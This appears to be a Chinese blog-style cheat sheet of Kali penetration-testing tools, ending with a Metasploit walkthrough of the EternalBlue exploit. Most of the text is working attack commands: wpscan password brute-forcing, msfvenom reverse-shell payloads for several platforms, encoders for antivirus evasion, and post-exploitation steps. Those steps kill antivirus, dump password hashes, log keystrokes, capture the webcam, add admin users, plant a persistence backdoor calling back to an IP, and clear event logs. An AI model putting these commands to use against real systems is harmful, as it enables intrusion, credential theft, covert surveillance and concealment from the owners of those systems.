--throttle <milliseconds> 當線程數設置為1時,設置兩個請求之間的間隔
--help | -h 輸出幫助信息
--verbose | -v 輸出Verbose
--version 輸出當前版本/<milliseconds>/<max-threads>/<connect-timeout>/<request-timeout>/<cache-ttl>/<number>/<path-to-file>/<username>/<wordlist>/<password>/<password>
/<string>/<user-agent>/<config>/<regexp>/<target>/<code>
<code>非入侵式檢測:wpscan -u www.example.com吧

默認選項枚舉信息:wpscan -u www.example.com -e

枚舉插件信息:wpscan -u www.example.com -e p

爆破用戶名admin的密碼:wpscan -u www.example.com --wordlist darkc0de.lst --username admin --threads 50/<code>

參考

五、Metasploit Framework

工具介紹

官網 GitHub

Metasploit Framework(MSF)是一款開源安全漏洞檢測工具,附帶數千個已知的軟件漏洞,並保持持續更新。Metasploit可以用來信息收集、漏洞探測、漏洞利用等滲透測試的全流程,被安全社區冠以“可以黑掉整個宇宙”之名

msfvenom(用於生成木馬文件)

滲透過程中可能要用到的Kali工具小總結

<code>-p, --payload    <payload>       指定需要使用的payload(攻擊荷載)
-l, --list [module_type] 列出指定模塊的所有可用資源,模塊類型包括: payloads, encoders, nops, all
-n, --nopsled <length> 為payload預先指定一個NOP滑動長度
-f, --format <format> 指定輸出格式 (使用 --help-formats 來獲取msf支持的輸出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(編碼器)
-a, --arch <architecture> 指定payload的目標架構
--platform <platform> 指定payload的目標平臺

-s, --space <length> 設定有效攻擊荷載的最大長度
-b, --bad-chars <list> 設定規避字符集,比如: '\\\\x00\\\\xff'
-i, --iterations <count> 指定payload的編碼次數
-c, --add-code <path> 指定一個附加的win32 shellcode文件
-x, --template <path> 指定一個自定義的可執行文件作為模板
-k, --keep 保護模板程序的動作,注入的payload作 為一個新的進程運行
--payload-options 列舉payload的標準選項
-o, --out <path> 保存payload
-v, --var-name <name> 指定一個自定義的變量,以確定輸出格式
--shellest 最小化生成payload
-h, --help 查看幫助選項
--help-formats 查看msf支持的輸出格式列表/<name>/<path>/<path>/<path>/<count>/<list>/<length>/<platform>/<architecture>/<format>/<length>/<payload>/<code>
<code>查看支持的payload列表:msfvenom -l payloads
查看支持的輸出文件類型:msfvenom --help-formats
查看支持的編碼方式:(為了達到免殺的效果):msfvenom -l encoders
查看支持的空字段模塊:(為了達到免殺的效果):msfvenom -l nops/<code>

簡單payload使用

Linux:

<code>反向連接:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=< Port to Connect On> -f elf > shell.elf
正向連接:msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=< IP Address> LPORT=< Port to Connect On> -f elf > shell.elf
/<code>

Windows:

<code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=< IP Address> LPORT=< Port to Connect On> -f exe > shell.exe/<code> 

PHP:

<code>msfvenom -p php/meterpreter_reverse_tcp LHOST=< IP Address> LPORT=< Port to Connect On> -f raw > shell.phpcat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php/<code>

ASP:

<code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=< IP Address> LPORT=< Port to Connect On> -f asp > shell.asp/<code>

Python:

<code>msfvenom -p cmd/unix/reverse_python LHOST=< IP Address> LPORT=< Port to Connect On> -f raw > shell.py/<code>

msfconsole(命令行)

滲透過程中可能要用到的Kali工具小總結

這個界面可看到metasploit當前版本,各個模塊的插件數量。

  • auxiliary掃描模塊
  • exploits漏洞利用模塊
  • payloads
  • encoders編碼模塊
  • nops空字符模塊
  • psot模塊
  • evasion模塊(創建反殺毒軟件的木馬)

命令行可輸入search尋找利用模塊

<code>msf5 > search MS17_010/<code>
滲透過程中可能要用到的Kali工具小總結

常用的payload

Linux:

<code>linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/shell_bind_tcp
linux/x86/shell_reverse_tcp
linux/x64/shell_reverse_tcp
linux/x64/shell_bind_tc/<code>

Windows:

<code>windows/meterpreter/reverse_tcp
windows/meterpreter/bind_tcp
windows/shell_reverse_tcp
windows/shell_bind_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell_reverse_tcp
windows/x64/shell_bind_tcp/<code>

MS17_010 Eternal bule(永恆之藍)

下面用永恆之藍演示一下

進入msfconsole search命令搜索MS17_010

滲透過程中可能要用到的Kali工具小總結

搜索到相應的五個模塊

使用第二個輔助模塊來幫助我們探測哪些主機存在漏洞 輸入此命令

<code>msf5 > use auxiliary/scanner/smb/smb_ms17_010 
msf5 auxiliary(scanner/smb/smb_ms17_010) >/<code>

查看所需要的配置信息:show options

滲透過程中可能要用到的Kali工具小總結

使用RHOSTS 參數 來查詢指定IP範圍內的主機是否存在漏洞 然後輸入exploit進行探測

滲透過程中可能要用到的Kali工具小總結

看掃描結果 我內網連的主機少 結果前面如果是+,說明這臺主機存在漏洞

之後就可以使用漏洞利用模塊了 輸入命令 輸入info查看漏洞信息

<code>msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > info/<code>
滲透過程中可能要用到的Kali工具小總結

查看payloads 命令:show payloads

滲透過程中可能要用到的Kali工具小總結

可以看到很多payload 自己根據當時情況使用哪個payload 想用哪個用哪個

設置payload 然後查看參數

滲透過程中可能要用到的Kali工具小總結

RHOSTS 設置要攻擊的主機IP ;LHOSTS 設置自己的IP 用於接收反彈回來的shell,默認4444端口監聽 然後exploit開始攻擊

接下來就不演示了 說一下exploit攻擊成功後的滲透的相關命令

1.運行了exploit命令之後,就開啟了一個reverse TCP監聽器來監聽本地的 4444 端口,攻擊者的本地主機地址(LHOST)和端口號(LPORT)。運行成功之後,我們將會看到命令提示符 meterpreter > 出現,然後我們輸入: shell 即可切換到目標主機的windows shell,要想從目標主機shell退出到 meterpreter ,我們只需輸入:exit

<code>想要從meterpreter退到msf:background
輸入命令: sessions -l 查看我們獲得的shell
輸入命令:sysinfo 查看攻擊目標主機的相關信息
查看攻擊目標主機是否在虛擬機上面運行:run post/windows/gather/checkvm
關閉目標主機上運行的殺毒軟件:run killav
獲取目標主機詳細信息並保存到本地:run scraper
關於文件的命令:
cd:切換目標目錄;
cat:讀取文件內容;
rm:刪除文件;
edit:使用vim編輯文件
ls:獲取當前目錄下的文件;
mkdir:新建目錄;

rmdir:刪除目錄
關於上傳文件和下載文件:
upload file 向目標主機上傳文件
download file 在目標主機下載文件/<code>

2.關於提高權限

<code>1.輸入命令:getsystem  幫助我們提高權限(提示錯誤,但已經成功提權)
2.命令:getuid 獲取當前用戶信息(查看是什麼權限)/<code>

3.獲取目標主機用戶名密碼

<code>1.run windows/gather/credentials/windows_autologin 抓取自動登錄用戶的用戶名和登錄密碼
2.run hashdump hashdump模塊從SAM數據庫導出本地用戶(得到的密碼哈希值可用 Jhon the Ripper來破解密碼)/<code>

4.關於目標主機裡的程序

<code>1.run post/windows/gather/enum_applications  查看目標主機安裝的應用程序
2.execute 此命令可在目標系統中執行相關應用程序
execute 參數 -f 可執行文件
可選參數:
-f:指定可執行文件
-H:創建一個隱藏進程
-a:傳遞給命令的參數
-i: 跟進程進行交互
-m:從內存中執行
-t: 使用當前偽造的線程令牌運行進程

-s: 在給定會話中執行進程/<code>
<code>screenshot  目標主機屏幕截圖 圖片會保存到/root目錄下/<code>

5.創建新本地用戶

<code>1.run post/windows/gather/enum_logged_on_users  查看當前主機已存在的用戶
2.run getgui -u username -p password 添加一個用戶為username,密碼為password的用戶,然後添加到Administrators組中(如果添加失敗,可以使用之前execute命令運行cmd窗口手動將用戶添加到Administrators組中)/<code>

6.關於遠程桌面

首先確保目標主機開啟了遠程桌面功能

<code>1.idletime  先檢查主機遠程用戶的空閒時長
2.run getgui -e
3.run post/windows/manage/enable_rdp 以上兩個命令都可開啟目標主機遠程桌面功能/<code>

7.關於記錄鍵盤

<code>1.keyscan_start:開啟鍵盤記錄功能
2.keyscan_dump:顯示捕捉到的鍵盤記錄信息
3.keyscan_stop:停止鍵盤記錄功能/<code>

8.關於綁定進程實現meterpreter持久化

<code>ps      查看目標設備中運行的進程
getpid 查看我們當前運行的進程id
migrate 命令來綁定目標進程id(後面跟要綁定進程的id即可)

run post/windows/manage/migrate 此命令會自動尋找合適的教=進程然後換綁定進程/<code>

9.關於目標主機的攝像頭

<code>webcam_list     獲取目標主機的攝像頭列表
webcam_snap 從指定的攝像頭拍攝照片
webcam_stream 從指定的攝像頭開啟視頻/<code>

10.關於留後門

如果目標主機關機,meterpreter建立的連接就會斷開

所以我們可以在目標主機系統內留下一個持續性的後門,只要目標主機開機,我們就可以連接到該主機

通過添加服務到註冊表 之後只要開機就會自動啟動並連接

<code>run persistence -X -i 8 -p 6666 -r 192.168.10.27  #反彈時間間隔是8s 會自動連接192.168.27的4444端口,缺點是容易被殺毒軟件查殺
#運行之後它就在目標機新建了這個文件:
C:\\Windows\\TEMP\\CJzhFlNOWa.vbs 代表把該服務加入了註冊表中,只要開機就會啟動
添加之後的連接就是在6666端口進行監聽/<code>

11.最後清除事件日誌(拍拍屁股走人,要拍乾淨才能走哦)

之前我們做的所有操作都會被記錄在攻擊的目標主機的系統日誌文件之中,所以我們需要在完成攻擊之後清除掉事件日誌

<code>clearev  清除事件日誌/<code>


分享到:


相關文章: